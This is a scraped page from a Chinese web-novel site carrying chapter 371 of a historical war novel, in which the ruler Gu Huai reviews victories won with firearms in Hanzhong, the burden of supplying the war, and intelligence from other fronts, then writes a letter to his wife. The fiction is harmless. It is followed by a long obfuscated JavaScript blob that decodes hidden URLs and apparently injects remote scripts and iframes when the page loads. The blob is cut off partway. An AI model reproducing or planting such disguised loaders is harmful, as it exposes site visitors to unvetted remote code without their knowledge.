首页
第三百七十一章 后方
返回

第三百七十一章 后方

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge678.com,更新快,无弹窗!


    第三百七十一章后方(第1/2页)
    宛城,州牧行辕。
    烛火将端坐在案后的那道白衣身影,在墙上拉扯出忽明忽暗的轮廓。
    顾怀静静地坐在那里,手里拿着一份刚刚从汉中前线送来的战报,已经读了好几遍那并不冗长的内容。
    “阳平关已下。”
    “汉中全境之敌已然肃清,大军正在分批接管各地城防、安抚黎庶,全面占领汉中。”
    “另,已分兵扼守秦岭各处险要谷口,严防关中朝廷主力南下;主力大军则已西进,于阳平关立营,与剑阁守军,隔山对峙。”
    就这么几句话。
    没有夸耀战功,没有多余辞藻,干脆利落得自然透着一股写信之人的冷硬与傲气。
    顾怀又扫了战报一眼,将其放下,抬起头,用力地揉了揉眉心。
    既有连日来熬夜处理政务的疲惫,又有些对陆沉的无语。
    虽然战报不止这一份,总能窥见汉中战事全貌,但陆沉你这家伙作为主帅,战报都写得这么敷衍干嘛。
    算了,不跟他一般计较。
    顾怀靠向椅背,又仔细在脑中拼凑着汉中先后几战的细节,最终还是忍不住,发自肺腑地轻叹一声。
    “陆沉啊陆沉,真是,每一战,都有每一战的打法。”
    既然已经把伐蜀之事提上日程这么久,顾怀自然比任何人都清楚攻伐汉中的难度。
    那可是北倚秦岭、南屏大巴的天下形胜之地!
    更何况,那里承平已久,毫无乱象,朝廷在那里的统治根基依然稳固,城池坚固,粮草充足,守将也皆是久历沙场的老将。
    占据了这等天时地利人和,如果是顾怀自己亲自带兵去打,他显然要做好在那片土地上,与朝廷大军耗上个一年半载,用无数将士的性命去填平那些地利的心理准备。
    可陆沉这家伙。
    自汉中战端一开,接连数次大型战役,他竟是在这等关乎天下大势的国战之中,没有犯下任何错误!甚至于还将这场战争的节奏,完全掌控在了自己的手中,将敌将的心理、地形的优劣之类,全都算计到了极致!
    能把仗打到这个地步,简直已经不能用常理来度量了。
    但最让顾怀惊讶的,还不是陆沉的指挥才能,而是陆沉对于新事物堪称离谱的适应力和创造力。
    顾怀很清楚,火枪、火炮这些跨时代的东西,确实是他亲自交到陆沉手上的。
    但是,天地良心!
    他也不算什么专业的军事爱好者,对于那些前世只是偶尔听过的战法,他也仅仅只是知其然不知其所以然。
    在出征前,他只不过是凭着那些模糊的记忆,模棱两可、语焉不详地向陆沉提过那么寥寥几次罢了。
    可结果呢?
    陆沉拿到他心心念念的火器之后,不仅没有任何传统将领面对未知事物的排斥与恐慌,反而就像是天生为了这些武器而生的一般!
    居然就能在这短短的时间内,因地制宜,将那些顾怀自己都说不明白的战法,给彻底玩出了花来!
    黄金峡外玩火器部队大迂回,借助火枪的初次面世玩了一出奇兵建功;定军山下,将那原本是后世双方僵持的堑壕战改成了掘壕战,用火枪的交叉火力网彻底废掉了这年头阵地防御战中最依赖的弓弩优势;在阳平关前,更是用常规的蚁附攻城作为障眼法,掩护火炮抵近射击,一举轰碎了那扇两百多年未曾被攻破的关门!
    这等天马行空的战术运用,直衬得对面那些尽忠职守、依然抱着老旧战法死守的朝廷将领们,显得那般的迂腐、可悲,甚至...有些可怜了。
    “只能说,陆沉这家伙,果然不愧是有底气,要与那些古往今来的绝世名将,去一争长短的人啊...”
    顾怀喃喃自语了一句。
    事实证明,陆沉这样的人,就像是一把被封在剑鞘里的绝世凶兵,而他能忍下陆沉那连狗都嫌的性格,甚至与之成为朋友,然后成功用改变战争方式的火器把这家伙钓得心甘情愿为他打仗,真是他这辈子做的最正确的事情之一。
    毕竟,只要给了陆沉充分的舞台,只要给予他那种大多数人都难以做到的信任和放权,他是真的,能用敌人的鲜血和尸骨,让自己的名字和荆襄的大军,在这青史之上,熠熠生辉,万古流芳!
    想到这里,顾怀在惊叹之余,心底深处,不由得也泛起了一丝庆幸。
    其实,在制定伐蜀这样需要倾举国之力去攻伐的战略时,顾怀在无数个深夜里,是曾反复考虑过,自己到底要不要亲自挂帅上阵的。
    这倒不是因为他像那些心胸狭隘的主君一样,放心不下陆沉,生怕他拥兵自重,功高震主。
    而是因为,他顾怀,毕竟是这荆襄之主。
    身处在这弱肉强食、礼崩乐坏的乱世,有些规则,是逃不开的。
    他不可能真的一直高高在上,坐在安稳的后方,只靠着批折子、定政令来统御一切。
    说得现实一点。
    若是自己这个做主公的,永远都不亲自上阵去体验那刀光剑影、血肉横飞,永远只会在大军出征前站在高台上喊几句慷慨激昂的口号。
    那么,久而久之。
    下面那些提着脑袋在战场上拼杀的骄兵悍将,那些因为战功而日益崛起的军方新贵,心里会怎么想?
    仗全是他们打的,血全是他们流的,城池全是他们攻下来的。
    凭什么你一个连命都不敢拼的家伙,能稳坐高台,享受胜利所带来的一切?
    时间一长,军心生出怨望,那是迟早的事情。
    谁会真的服气一个不能带兵打仗的乱世诸侯?
    所以,顾怀之前是真的动过亲自带兵伐蜀的念头。
    可是现在,看着陆沉交出的这份堪称完美的答卷,顾怀就难免一阵后怕,若是自己当时真的脑子一热,为了所谓的军中威望而强行压下陆沉,自己挂帅出征汉中。
    那么这一战,绝不会打得如此轻松顺利!
    甚至,在面对定军山和阳平关那等天险时,自己很可能会因为缺乏临阵机变的军事天赋,而陷入苦战,导致大军伤亡惨重,进而影响整个伐蜀的大局!
    “有时候,人啊,还真是不能逞能...”
    顾怀苦笑着摇了摇头。
    汉中那等险恶地形,可不比一马平川的南阳,自己之前能亲自指挥南阳之战,甚至打下方城,不过是因为南阳在之前一战就已经被打崩了,且朝廷根本腾不出手来管,方城之战也是取了巧。
    打个南阳,立立威,向全军证明自己并非不知兵,这就已经足够了。
    而现在,自己坐镇宛城,梳理这刚刚打下的南阳乱局,统筹后方,处理政务,做自己最擅长的事情,远比去往前线带着大军耀武扬威,要好得多,也重要得多!
    思绪流转间。
    顾怀的目光,再次落在了战报上关于火器在战场实际表现的战报上,他的眼神,逐渐变得凝重起来。
    随着汉中之战的落幕,有些事情就必须得考虑了。
    南阳之战,兵是新兵,军备战法也没超出之前汉水之战时的范围,为的就是藏住火枪火炮这些底牌,好出其不意攻下汉中。
    而这些举动也确实见到了成效,高高在上的大乾朝廷,仍将火器视为不入流的奇技淫巧,没放在心上,更没有任何针对性的防御措施。
    可如今底牌掀开,顾怀又从不是一个狂妄自大的人,绝不会犯下那种认为古人都是蠢货的错。
    汉中之战的细节,一定会震醒长安!
    朝廷虽然腐败,官场虽然黑暗,但大乾毕竟统御天下两百年,其治下的广袤疆土上,依然有着无数的能工巧匠,依然有着完善的工部体系。
    只要战争还在继续,只要荆襄还在使用火器,一旦实物落入朝廷手中,以那些大匠的智慧,逆向仿制,只不过是时间问题罢了。
    再不可能垄断,或许要不了多久就会出现敌我双方拿着火枪对射的场景了。
    那么,该怎么应对?
    顾怀提笔蘸了蘸墨,在面前的一张宣纸上勾勒着。
    想方设法破坏朝廷仿制的过程,比如暗杀工匠?
    不现实,那可是长安,而且工匠千千万万,杀之不尽。
    在军中下死命令,要求任何火器不得遗留战场?
    更荒谬了。
    在那种刀头舔血、死生一瞬的厮杀中,谁还能保证每一把火枪都能被回收?
    思索了良久。
    顾怀看着纸上的一团乱麻,最终叹了口气,将笔搁下。
    没有太好的办法。
    只要拿出来用,就一定有被缴获的风险;只要被缴获,就一定会被仿制。
    试图去防止任何技术外流的保密措施,不仅费时费力,会严重掣肘作战效率,而且到最后,还不一定能取得什么实质性的成效。
    “既然防不住,那就索性不防了。”
    顾怀眼中闪过一丝冷厉。
    既然荆襄已经走在了全天下的前面,那就不要再想着像个守财奴一样,去拘泥于想方设法地保密!
    就应该照着自己一开始在襄阳建立工业区时的思路来!
    全面转入产能扩张,与标准化生产的接连迭代!
    朝廷或许能靠着大匠,用手工敲打出一把把仿制的火器,甚至在威力上达到与荆襄相近的水平。
    但是!
    他顾怀花了接近两年时间,倾尽人力财力,建立起的那座工业区,难道是吃素的吗?!
    “产量!”
    顾怀双手撑在书案上,目光灼灼。
    “当朝廷还在为打造一把火枪而耗费一个匠人半月之功时,工业区的流水线,一天就能生产出一百把!”
    “当朝廷还在为火药的配比而摸索时,荆襄已经开始了颗粒火药的大规模列装!”
    “用工业化,去碾压那种落后的生产方式!”
    朝廷就算仿制出来又能如何?
    只要荆襄的迭代速度永远快他们一步,只要荆襄的火器数量能够铺天盖地,在数量和代差面前,任何手工仿制的挣扎,都不过是螳臂当车!
    想通了这一层。
    顾怀心中的那块大石终于落了地,拿起了堆在案头的另一份厚厚的卷宗。
    那是身在后方,坐镇襄阳统理政务的萧平,派人送递过来的政务汇总。
    顾怀翻开卷宗,只看了几行,眉头便深深皱了起来。
    比起陆沉的战报,这份卷宗堪称详尽,密密麻麻地罗列着各种数字:粮草的调拨数目、民夫的征召人次、船只的损耗情况、各地府库的存粮警戒线...
    每一个数字背后,都代表着无数百姓的汗水、鲜血,乃至生命。
    果然是堪称恐怖的后勤压力啊...想想也是,既要供给汉中前线大军的消耗,又要在占领南阳后,迅速发放救济粮,恢复各地被战火摧毁的秩序,还要在武关、方城这两个大门,以及东边的江夏郡,屯驻重兵,以防范关中、中原、乃至江南各方势力的蠢蠢欲动。
    荆襄如今固然富庶安稳,但这样的消耗,肯定也顶不了多久!
    “打仗打的就是后勤...真是至理名言,也还好一开始就已经在为最差的情况做准备,如今这般,倒还能继续撑个大半年,尤其是已经入夏,秋收不远,但如果到明年春夏之际,伐蜀之战还未结束...”
    顾怀看着那些触目惊心的赤字,感觉肩上的压力已经有些沉得让他喘不过气来。
    前线的将士们打得固然摧枯拉朽。
    可是,在这光鲜亮丽的大捷背后,是整个荆襄的百姓在勒紧裤腰带,是无数的民夫在山道上累得吐血,是萧平之类的官员在后方殚精竭虑地拆东墙补西墙!
    这就是战争。
    而作为这个政权之主,他顾怀在地图上随手指出的一个方向,落到实处,便会在荆襄,掀起一场足以改变无数人命运的狂风暴雨。
    一想到这些,倒是把他批改了一天政务后想休息休息的念头都给冲没了。
    要知道,自从大军北上攻下南阳之后,他坐镇宛城,需要亲自处理的政务就一下子堆了起来。
    之前大军为了追求兵贵神速,为了在最短的时间内封锁武关和方城。
    大军是一路沿着官道狂飙突进,许多南阳境内的偏远县镇,根本就没有去派兵攻打。
    (本章未完,请点击下一页继续阅读)第三百七十一章后方(第2/2页)
    这就导致了,如今的南阳虽然名义上已被纳入荆襄版图,但实际上,许多地方依然处于没有官府管理的混乱状态。
    有被打散的朝廷溃兵在山林间落草为寇,四处劫掠;有趁着战乱揭竿而起的流氓地痞,甚至想学着当初赤眉,妄图称霸一方。
    虽然当年汉水一战,已经将南阳五大世家门阀给连根拔起、杀了个干干净净。
    但那些躲过了当初清算的地方豪强和小地主,总还是存在的。
    他们盘踞在乡野,垄断着土地,对荆襄的新政充满了敌意和抗拒。
    好在。
    南阳与襄阳,终究只是一水之隔。
    这一年多来,襄阳推行新政后的繁荣景象,那些关于分田地、减赋税的德政,早就通过那些往来两地的商贾和流民的口,传遍了南阳的大街小巷。
    这也就导致,在绝大多数南阳底层百姓的眼中,荆襄政权,绝对不是什么谈之色变、青面獠牙的反贼,反倒是能给他们这些底层人一条活路的势力。
    所以,在荆襄大军接管各地时,底层百姓的抗拒并不大,虽然没有箪食壶浆、夹道欢迎的景象,但至少不会明面上反抗接收工作。
    但即便如此。
    依然有一大堆事情堆在顾怀的案头,等着他去拍板。
    从襄阳抽调精干官吏来填补南阳的官场空缺;在南阳各地强制推行那套得罪死了乡绅的《恤民令》,丈量土地,重新造册;建立起保甲制度,将地方治安的权力从豪强手中收归官府...
    桩桩件件,千头万绪。
    好在过程还算顺利。
    这些事情,说到底也就是水磨工夫,急不得,只能靠着行政体系去慢慢推行,辅以震慑,一点一点地去消化,去融合。
    南阳,作为荆襄九郡中人口最为稠密、耕地最为广阔、商旅最为富庶的地域,顾怀眼馋这里,已经很久很久了。
    如今,历经战火,他终于将这荆襄九郡彻底连成了一片,打造出了一个进可攻中原、退可守长江的庞大基业!
    只要给他时间,将南阳彻底消化,就算西南战事没有预想中那般顺利,荆襄的实力,也将迎来一次质的飞跃!
    时光流逝。
    处理完了今日堆在案头的南阳政务,顾怀总算能放下笔,喘口气了,只是当视线落到桌角处那几份秘报时,想了想,还是叹了口气认命般伸出手去。
    他先是拿起了来自关中的锦衣卫北镇抚司秘谍回报,撕开了封条。
    因为汉中战事的接连失利,整个大乾朝廷,已经掀起了轩然大波。
    朝堂之上,主战派的声音,在有了太后公开表态后,首次以压倒性的优势,盖过了以左相温言为尊的保守派。
    所有人都明白一个道理:汉中一失,巴蜀便成了案板上的鱼肉;若让荆襄再吞并了天府之国,就算下一步不是打关中,也必然是觊觎江东,那大乾王朝的半壁江山,便算是彻底丢了!
    因此,长安朝廷已经有了穷兵黩武之相,但说不准是担心荆襄发疯北上的自保之举,还是想要集结倾国之力翻越秦岭,在汉中与荆襄大军决一死战。
    甚至于,观望荆襄伐蜀,以此坐收渔翁之利的可能性还会更大一些。
    “...倒也不出预料。”
    顾怀冷笑一声,将那份秘报扔到一旁。
    他早算准了就算悍然攻伐汉中,只要不试图越过秦岭,朝廷就绝对不会来和荆襄死磕。
    毕竟,换谁站在那个位置上,估计都想看看荆襄和蜀地真的开始举国之战后,会不会一并迎来虚弱,从而给朝廷收复之机。
    嗯...观望嘛,朝廷的老传统了,只要没有个铁血天子能压下一切声音,朝中分裂的党政派系就一定会疯狂拖后腿,有点苗头就决一死战?
    随着锦衣卫北镇抚司成立,越来越了解京城长安的顾怀甚至能下一个定论--只要那位太后还在垂帘听政,朝廷就不可能有这样的决心。
    所以,只要武关和秦岭防线还在荆襄手里,就大可不必担心腹背受敌,能及时做出反应。
    接着,顾怀又拿起了中原方向的战报。
    在过去的半个多月里,尚未完成重建的方城,已经迎来了数次声势不大不小的进攻。
    很显然。
    朝廷在丢失了南阳之后,深知中原门户洞开的危险,那些驻守在许昌、洛阳一带的朝廷将领,迫切地想要趁着方城立足未稳,将其重新夺回,以重新掌握中原防线的战略主动权。
    然而杨震的防守做得很是不错。
    他虽然没有搞什么出关奇袭,一举建功的戏码,但守得实在很扎实,在有火器辅助守城的情况下,哪怕关墙有所破损,也并没有给朝廷方面,留下任何可乘之机。
    不过,顾怀的心里也很清楚,这也只是前奏罢了。
    一旦西南战事进入新的阶段,长安朝廷终于结束了扯皮,要做些什么,那么为了牵制荆襄,中原方向的朝廷大军,必然会不计代价地死攻方城!
    这也是顾怀要亲自坐镇宛城的主要原因,不是对杨震不放心,而是就像战前他和陆沉推演的那般,除了他这个州牧亲自镇压南阳,换了其他任何人来,都可能会出纰漏!
    所以,别看汉中之战一切顺利,说到底,这场西南战事,也就是才刚刚开始罢了。
    顾怀摇了摇头,最后拿起了那份来自江南的谍报,而看到上面的内容,顾怀那一直紧绷的脸上,浮现出了一抹错愕,随即便化作了笑意。
    如今的荆襄,还真是有了一动便能牵动天下大势的气象...这边才开始伐蜀,那边赤眉、黄巾,还有大乾朝廷江北平叛大军,这三方势力在江南那片水乡泽国里,经过了大半年的相互僵持之后。
    居然,又一次迎来了全面爆发!
    很显然,渠胜还是那个渠胜,直接抓住了荆襄大军主力西进、全天下的目光都被吸引到了西南的这个时机,悍然集结重兵,直接对江北的朝廷大军发起了反攻!
    而最让顾怀感到离谱,甚至觉得有些荒诞的是。
    原本因为争夺地盘而已经快要撕破脸皮,不知发生了多少流血冲突的赤眉与黄巾。
    在这一次,竟然,又隐隐约约地,有了一丝合作的迹象!
    赤眉军顶在前线,与朝廷大军在正面战场上死磕,而百万黄巾,则是在四面八方,加大了对江南各地漕运的破坏力度!
    可以想象。
    那位奉命坐镇江南、平定叛乱的朝廷老将常晟,此刻面对着这群突然玩命的反贼,面对着这千疮百孔的局面,必然已经是焦头烂额、怒发冲冠了。
    “打吧,打得越狠越好。”
    顾怀微笑着放下谍报,心情大好。
    对于荆襄来说,江南再次大乱,绝对是一个好消息。
    他心里清楚,自己发起伐蜀战事,固然是给了江南各方势力一个喘息、扩张、求存的战机。
    但换一个角度想,他们在那边打得越是惨烈,流的血越多。
    何尝不是在替他顾怀,牵制住了朝廷的一大部分精力,替荆襄彻底解除了江东方向的后顾之忧?
    只要江南一天不平定,朝廷就一天不敢将南方全部的底蕴都砸到西南来!
    “总之,目前看起来,天下局势,依然还在可控制的范围之内。”
    顾怀在心里默默盘算了一番,确认各个方向都没有什么太大的破绽,才继续批阅起其他折子来。
    而等到将这堆积如山的军政要务全部处理完毕。
    夜色,已经深沉如水了。
    他站起身,用力地伸了一个懒腰,只感觉一阵头晕眼花袭来,身体晃了晃,不得不用手扶住书案,才勉强稳住身形。
    先是指挥南阳之战,然后是坐镇宛城的殚精竭虑,还要不断关注前线战事,后方安稳,乃至天下各处的大势...哪怕以他现在每日晨起都会练刀的体魄,也有些扛不住了。
    他只能闭上眼睛,深吸几口气,压下那股眩晕感,然后老老实实地坐了回去。
    想了想,从书案一侧,又扯过了一张宣纸。
    拿起笔,蘸饱墨汁,眼神中的那种身为上位者的冷厉和算计,在这一刻,尽数褪去。
    只剩一抹柔情。
    他要给在荆南的陈婉写封家书。
    当初自己南巡之时,力排众议,让她出任这统管四郡的荆南总督,的确是在荆襄官场上,引起了轩然大波。
    毕竟,自古以来,便鲜有女子为官的先例,更何况一出仕便是节制四郡、手握大权的封疆大吏。
    而且,她还是自己这位荆州牧的枕边人!
    这种做法,在那些满脑子礼教纲常的文官看来,简直就是牝鸡司晨,难免会让他们觉得顾怀这是在任人唯亲,是在将这荆襄基业当成博取美人一笑的儿戏。
    非议与上书,就从来没有断过。
    但顾怀终究没有改变决定。
    细细算来,从去年冬末开始,到如今的夏初,竟已是快半年了。
    而陈婉,也没有让他失望。
    她虽然是一介女儿身,但却有着不输男儿的韧性和智慧,接手荆南之后,虽说是有萧平之前打下的底子在前,为她扫平了大多障碍。
    但她能在成为总督后的这些时间里,将荆南四郡管理得井井有条,并且以和萧平完全不同的柔和手腕,使得政令畅通但仍旧有些民生凋敝的荆南迅速恢复生机,人心安稳,粮食产量稳步提升,如今已经能源源不断地为江北提供输送。
    尤其在打破礼教束缚、关注女性权益这些方面,她做得更是极好。
    这一切,足以让那些曾经在背后嚼舌根的文官们闭上嘴巴。
    也用事实,向天下人证明了,他顾怀用人,只看能力,从不任人唯亲!
    陈婉能成为荆南总督,不是因为她是自己的夫人,而是因为她的确有这份才能!
    笔尖在纸上轻轻划过。
    在陈婉面前,顾怀一向能卸下所有外在身份所带来的枷锁,毕竟这个女子,已经是他在这个世上最亲密的人了。
    “婉儿,见字如面。”
    “近日虽已入蜀,但荆南湿热,最是伤人,你要记得少熬夜,政务公文若看不完,便留给下头的人去操心,莫要事事亲力亲为,熬坏了身子,我是要心疼的。”
    “汉中前线大捷,阳平关已破,蜀道大门已开,此等喜悦,愿与你共享。”
    写到这里,笔顿了顿,顾怀眼中闪过一丝愧疚与憧憬。
    “自从成婚之后,聚少离多,便是你我夫妻二人的常态,如今一别,居然又是半年未曾相见了...”
    “只望待到伐蜀尘埃落定,大势鼎定之时...”
    “我便放下这案头繁杂,回荆南接你,结束这聚少离多的日子。”
    “再生个孩子,男孩女孩都好,我会亲自教他读书写字,希望他能成长得快活自在一些...”
    顾怀写了很多。
    最后,他嘴角挂着笑意,将这份满是柔情的家书,仔细折叠好,封入信筒。
    直到连这私事都处理好,他这才长舒了一口气,撑着桌沿,缓缓站起身来。
    可还没等他走出书房去透透气,一直站在书房门口的王五,便探出张大黑脸来。
    他看了一眼顾怀疲惫的神色,轻声禀报道:“公子,沈明远沈掌柜,在院外等您接见哩。”
    顾怀一愣:“他什么时候来的?”
    王五挠了挠头:“得好几个时辰了吧...好像是天还没黑那会儿。”
    顾怀眉头微皱:“那为何不早些通报?”
    “是沈掌柜先问公子您在不在忙,俺说公子在批阅公务,沈掌柜说那就等公子您忙完了再通报便是,俺拗不过他,便让他在院外等了。”
    看着王五那显然没把这当回事的模样,顾怀摇了摇头,正准备让他去将沈明远叫进来,话到嘴边,却突然问道:“他看起来什么模样?”
    王五愣了愣,随即仔细回忆了下,老实答道:“就是之前在襄阳时见过的那般模样啊...”
    顾怀听着,沉默片刻。
    但他最终还是什么都没说,只是摆了摆手:
    “行了,让他进来吧。”
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 